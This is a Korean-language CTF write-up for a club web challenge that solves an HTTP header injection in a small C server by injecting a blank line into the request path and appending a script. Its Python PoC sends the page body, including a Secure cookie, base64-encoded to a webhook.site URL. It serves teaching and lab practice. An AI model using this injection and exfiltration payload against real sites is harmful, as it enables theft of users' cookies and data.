[카테고리:] WriteUp

  • 2024 겨울방학 캐스퍼 정회원 CTF WEB – 우두머리

    요약하자면, 간단한 HTTP Header Injection 문제입니다.

    문제에는

    1. C로 구현된 정적인 본문을 반환하는 HTTP 서버
    2. Secure 속성이 설정된 flag 쿠키에 flag를 담아 사용자가 지정한 경로에 접속하는 admin bot의 코드가 포함되어 있습니다.

    따라서 단순 XSS 만으로는 쿠키를 가져올 수 없음을 알 수 있습니다.

    아무런 쿠키나 담고 접속해보면 다음과 같은 응답을 주는 것을 알 수 있습니다.

    HTTP/1.1 200 OK
    Content-Type: text/html; charset=utf-8
    X-Requested-Path: /
    Set-Cookie: test=value; HttpOnly; Secure
    
    <html><head><title>Simple HTTP Server</title></head><body><h1>Hello, World!</h1></body></html>

    이러한

    1. HTTP/1.1에서 Header와 Body는 \r\n\r\n으로 구분됩니다.
    2. 요청 경로를 담는 X-Requested-Path Header가 있습니다.
    3. 그 아래에 서버는 Set-Cookie 헤더를 통해 클라이언트에 쿠키를 설정합니다.

    HTTP Header Injection 문제임을 유추하기 위해서 X-Requested-Path가 어떻게 처리되는지 봐야합니다.

    char* path = decode_url(req->path);
    // 중략
    set_status(resp, HTTP_OK);
    add_header(resp, "Content-Type", "text/html; charset=utf-8");
    add_header(resp, "X-Requested-Path", path);

    요청 경로를 디코드하고 add_header 함수를 통해 X-Requested-Path에 경로를 추가함을 알 수 있습니다.

    그럼 add_header가 어떻게 구현되는지 봐야 할 것입니다.

    void add_header(http_response* resp, const char* key, const char* value) {
        char header[1024*2];
        snprintf(header, sizeof(header), "%s: %s\r\n", key, value);
        strcat(resp->headers, header);
    }

    이스케이프 처리를 별도로 하지 않는 것을 알 수 있습니다.

    따라서 요청 경로에 \r\n\r\n을 삽입하여 뒤이어 오는 Set-Cookie 등의 헤더를 body로 인식되게 만들어 XSS와 조합하여 Flag를 얻어올 수 있음을 알 수 있습니다.

    잘 작동합니다!

    import urllib.parse
    import requests
    
    def main():
        webhook_site = 'https://webhook.site/[...]'
        payload = '\r\n\r\n<script>window.onload=()=>fetch("'+webhook_site+'?"+btoa(document.body.innerHTML))</script>'
        url = 'http://chall.infrafor.us:2001/' + urllib.parse.quote(payload)
        response = requests.get(url)
        print(response.text)
    
    if __name__ == '__main__':
        main()

    간단한 PoC 코드를 작성했습니다.

    base64 decode를 하면 flag를 얻을 수 있습니다.

    Set-Cookie: flag=CASPER{HTTP_He@d3r_1nj@cti0n}; HttpOnly; Secure
    
    <title>Simple HTTP Server</titleO’[ËÛܛOÚO

    Flag: CASPER{HTTP_He@d3r_1nj@cti0n}

    By 동헌희(@honey/honey@sandwich.dev)